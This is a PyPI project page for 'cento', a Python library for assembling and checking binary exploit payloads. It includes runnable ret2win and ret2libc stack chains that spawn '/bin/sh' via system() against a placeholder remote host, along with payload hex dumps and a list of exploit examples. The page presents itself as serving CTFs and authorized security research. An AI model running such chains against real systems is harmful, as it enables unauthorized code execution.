cento
cento is a Python library for declaring, assembling, and checking binary exploit payloads. It turns hand-maintained offsets, runtime symbols, and chain constraints into reviewable declarations and reproducible bytes. Use it alongside your existing discovery, debugging, and transport tools.
pip install cento # Python 3.10+ with no dependencies
pip install 'cento[verify]' # optional extra: verifies declared gadgets by running them in emulation
cento (n.) -- a poem stitched together from other poets' lines. This library builds chains the same way: borrowed fragments, arranged deliberately, checked as a whole.
Maintained by Zetier.
A first payload
A classic ret2win stack: 0x28 bytes of padding, then three return addresses:
import cento
import pwn
pwn.context(arch = 'amd64', os = 'linux')
r = pwn.remote('exploitme.example.com', 31337)
stack = cento.fit({0x28: [0x401F2F, 0x404060, 0x401050]}, fill="A") # pop rdi; &"/bin/sh"; system
r.send(stack.image())
r.interactive()
The tube does the I/O; cento builds the bytes. Offline, the same stack prints its receipt:
print(stack.image().hex()) # the payload
print(stack.layout.hexdump(skip=True)) # the same bytes, itemized
Output:
414141414141414141414141414141414141414141414141414141414141414141414141414141412f1f40000000000060404000000000005010400000000000
region fit (base=fit_base, fill=0x41)
+0x0028 w8 2f1f400000000000 [fit.raw+0x28]
+0x0030 w8 6040400000000000 [fit.raw+0x30]
+0x0038 w8 5010400000000000 [fit.raw+0x38]
When the address comes from a leak
A ret2libc for a 32-bit target: system and the "/bin/sh" string live in libc, and libc's base is unknown until the target leaks it mid-exploit. Declare
the frame against a symbol, libc_base, and the payload assembles when bind() supplies the leak. Runnable as-is, though offsets are libc-specific:
import cento
LIBC = cento.Ref("libc_base") # symbol for libc's load address, bound at runtime
class Chain(cento.View):
system: cento.u32 = LIBC + 0x48150 # system() (a 64-bit target: cento.u64)
ret: cento.u32 = LIBC + 0x3A480 # system's return address: exit()
binsh: cento.u32 = LIBC + 0x18F352 # &"/bin/sh", system's argument
stack = cento.region("stack", fill="A", endian="little")
stack.at(0x20, Chain, "chain")
stack.bind("libc_base", 0xF7DC2000, source="puts leak")
print(stack.image().hex())
print(stack.layout.hexdump(skip=True)) # skip=True masks the padding
Output:
414141414141414141414141414141414141414141414141414141414141414150a1e0f780c4dff75213f5f7
region stack (base=stack_base, fill=0x41)
+0x0020 w4 50a1e0f7 [stack.chain.system]
+0x0024 w4 80c4dff7 [stack.chain.ret]
+0x0028 w4 5213f5f7 [stack.chain.binsh]
Reading the output
The first line is the payload itself, ready to send: 32 bytes of 0x41 padding followed by the three words of the chain.
The second block is the same buffer, itemized by its region (cento's unit of layout): offset, width, value, and the field that wrote it. When a payload stops working, this is the view that says what is where and who put it there.
Failure is explicit. With the bind() line removed, the same script stops instead of guessing:
EmitError: final emit refused: layout-wide pending symbols ['libc_base']
When the exploit changes
A three-word chain fits in anyone's head. The value of declarations shows when the payload is larger and changes over time. examples/ex00 makes this concrete with a practical exploit payload: a chain of fake stack frames stored in the heap, entered through a 16-byte overflow. Built once by hand (before.py), then declared with cento (after.py): the same bytes.
The declarations pay off when the exploit grows. Suppose the chain needs a setuid(0) frame ahead of the shell frame. By hand, that is fresh offset arithmetic and every dependent address re-checked; before.py's own comments warn about exactly this. In the declared version the edit is one allocation and two re-links; ex00's refusal.py performs exactly this edit:
slab before: stdin@+0x00 stdout@+0x40 shell@+0x80 sh@+0xa8
slab after: stdin@+0x00 stdout@+0x40 shell@+0x80 sh@+0xa8 setuid@+0xb0
...
the whole edit: one alloc, two re-links; every address above derived
The new frame is appended in storage and spliced into the execution order by its links; nothing already placed moves, so nothing is recomputed.
The insertion may also break a rule that is easy to forget: the x86-64 ABI keeps the stack pointer 16-byte aligned at every call site, but adding an 8-byte frame breaks alignment at the next call. enhanced.py rebuilds the same payload as a checked chain and reports the regression at build time, before anything runs on a target:
ERROR CHK-207 [frames.setuid, SetuidCall]: SetuidCall uses entry_sp_mod=8, but this position in the chain requires entry_sp_mod=0 (SP % 16 at entry)
The complete run is checked in at examples/ex00/transcript.txt.
Features
- Typed views -- named, width-checked fields; offsets are declared once, not at every write site.
- Frame chaining -- frames allocate and link by handle; overlaps are declared intent (
over=/why=). - Catalogs and profiles -- port to the next device or libc by swapping the catalog, not the script.
- Catalog import --
cento.import_catalogbuilds a starter catalog from ropper/ROPgadget output. - Runtime symbols -- bind values as leaks arrive; early emits name the fields still waiting.
- Symbol arithmetic --
lo16/hi16splits and carry-compensatedha16forlis/addipairs. - Computed cells -- length and checksum fields recompute from the bytes they cover.
- Golden references --
cento.goldenpins a known-good payload and names the first divergent cell. - Checked chains -- build-time proof that gadget inputs are produced and alignment holds.
- Delivery plans -- the arming write ships last, after everything is staged; every step is ledgered.
- Cycle pads --
cycle/cycle_findmatch pwntoolscyclic(n=4)output, pinned by known-answer tests. - pwntools and ropper interop -- the tube does I/O; ropper finds become declarations (ex01).
- Emulation --
[verify]runs gadget bytes under unicorn; symbolic entries need an absolute build.
Supported architectures
The layout machinery (regions, views, symbols, delivery plans) is architecture-neutral; endianness and ABI facts are declared on the layout or carried by a Target profile.
- x86-64 --
cento.abi.X86_64, the default; the 16-byte stack rule is judged at build time (CHK-207). - AArch64 --
cento.abi.AARCH64: declare widthscento.u64; SP faults on misalignment (ex12). - ARM32 --
cento.abi.ARM32: Thumb gadget entries keep their low bit set (ex13). - PPC32-BE --
cento.abi.PPC32: declareendian="big"or let a Target profile carry it (ex02).
The tutorial's fictional Meridian MK-2 (ex05, ex10) exercises MIPS32 catalog geometry (frame stride and an
inside-the-frame pc slot) as pure catalog data; there is no cento.abi MIPS module and no MIPS verify executor.
Porting cento to a new architecture is a welcome contribution: an ABI module is a small, reviewable data declaration; docs/porting-an-abi.md, written from the AArch64 port, walks the five moves.
For teams
- Porting: gadget offsets and device facts live in catalogs and profiles, not scripts; when a target releases a new version, the update is a reviewable data change, and stale facts surface as named check failures (CHK-301) rather than silent breakage.
- CI integration:
check()returns a machine-readable report andlayout.to_json()the whole layout as data (both sorted, no timestamps); the CI step is one line,sys.exit(0 if cento.gate(layout) else 1), with every blocker printed to stderr (ex07 demonstrates it). - Tested determinism: two identical builds emit byte-identical artifacts and reports; every deterministic example checks in a
transcript.txtthat CI regenerates and compares, and the example outputs above are regenerated and byte-compared the same way.cento.goldenpins your own builds likewise. - Reviewable exceptions: overlaps and rewrites require declared intent (
over=/why=,allow_rewrite(reason=...)); the reasons appear as ledger lines a reviewer can read in the diff, e.g. ex07'swaived rewrite pkt+0x0008: hotfix limit supersedes the v1 default (review: MK1-217). - Typed surface: the package ships
py.typed, and the repository gates itself with ruff, mypy --strict, and pytest (make selftest).
Examples
The examples are numbered and self-contained (examples/exNN/); each runs offline in seconds with make ex<NN> or python examples/exNN/<name>.py. Apart
from ex00 and ex14, they form a tutorial against one fictional product family, the Meridian MK series.
| Example | Summary |
|---|---|
ex00 (before/after) |
one practical exploit payload built by hand, as declarations, and as a checked chain; check.py confirms all three byte-identical, refusal.py grows it (transcript) |
ex01_find_your_offset |
a pwntools-to-cento reference, the cycle()/cycle_find() workflow, and a textbook ret2libc mapped 1:1 (transcript); ctf/ runs it end to end (walkthrough) |
ex02_toy_chain |
a checked gadget chain on real PPC32; the dataflow check traces a syscall return into a later gadget's input (transcript) |
ex03_local_ret2win |
compile a local x86-64 test binary (cc required), overflow it, and land win() |
ex04_qemu_ret2win |
a big-endian PPC32 victim under qemu-ppc, with the crash address read from the gdb stub |
ex05_computed_cells |
length and CRC fields computed from the bytes they describe; a deliberately wrong value is refused (CHK-005) (transcript) |
ex06_delivery_plan |
ordered, trigger-last delivery; a leak arriving mid-delivery invalidates and re-yields the affected rows (transcript) |
ex07_guardrails |
seven planted mistakes, seven named refusals, and the CI interface (to_json, cento.gate) (transcript) |
ex08_borrowed_structures |
structures the target parses: a forged heap chunk, a forged vtable, a patched flash record (transcript) |
ex09_fake_frame_chain |
a forged call stack in the heap; a runtime value threaded from one frame to the next (transcript) |
ex10_provenance |
gadget catalogs and device profiles; catalog drift caught (CHK-301) and gadget bytes verified under an emulator (CHK-304) (transcript) |
ex11_the_thrower |
one DeliveryPlan delivered through a stdlib pipe and through a pwntools process(), about 15 lines each |
ex12_aarch64_chain |
an AArch64 chain: ldp/ret frames, a csu-style call, and the hardware SP-alignment rule refused at build time (CHK-207) (transcript) |
ex13_arm32_chain |
an ARM32 chain: pop-to-pc frames that abut with no aliasing, and a Thumb gadget's entry carrying bit 0 (transcript) |
ex14_port_a_script |
porting an existing script: its output captured as golden bytes (cento.golden), one raw region, typed views carved in step by step; drift is named by cell owner (transcript) |
Scope
cento is built for authorized security work: CTFs, red-team engagements, and vulnerability research on systems you have permission to test.
Maintenance & stability
cento is maintained by Zetier. Report security issues privately to security@zetier.com (see SECURITY.md); everything else goes to the issue tracker.
Pre-1.0, the public API may change between minor versions; breaking changes are called out in commit messages and release notes.
License & contributing
Apache 2.0; see LICENSE and NOTICE.
Contributions require a Developer Certificate of Origin sign-off (git commit -s), enforced in CI; CONTRIBUTING.md covers the gates, the
sign-off and what it certifies, and third-party code. pre-commit install --hook-type pre-commit --hook-type pre-push wires the gates into git: auto-fixing lint and
static validation at commit (fixes land unstaged for review), the full make selftest (tests included) at push.
Note: the optional [verify] installs unicorn, which is GPL-2.0-licensed. cento contains no unicorn code and never requires it.
Metadata
Release files for cento 0.2.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| cento-0.2.1.tar.gz | 115.6 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| cento-0.2.1-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 235.8 kB
Release files / cento-0.2.1.tar.gz
| Download URL | cento-0.2.1.tar.gz |
|---|---|
| Size | 115.6 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
a9dda8662030faca679c5de7209491822439102d875593e0627a492fa61462de
|
|
BLAKE2b-256 checksum How to use checksums |
4ea09c9d8ab6236ab1970e80ab63dc399202a9a406498611bab3eaafc70176a8
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.7
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Sep 29, 2026.
Transparency logRelease files / cento-0.2.1-py3-none-any.whl
| Download URL | cento-0.2.1-py3-none-any.whl |
|---|---|
| Size | 120.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
f4fd79799ab7962e0c7dcc36fe00f8896d326995e82038924c8e914c6d2f3b18
|
|
BLAKE2b-256 checksum How to use checksums |
fbce976ea614729f2b230760b6924aeabfdf4b1f5ef73ca19814cee8d14ecf6d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.7
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Sep 29, 2026.
Transparency log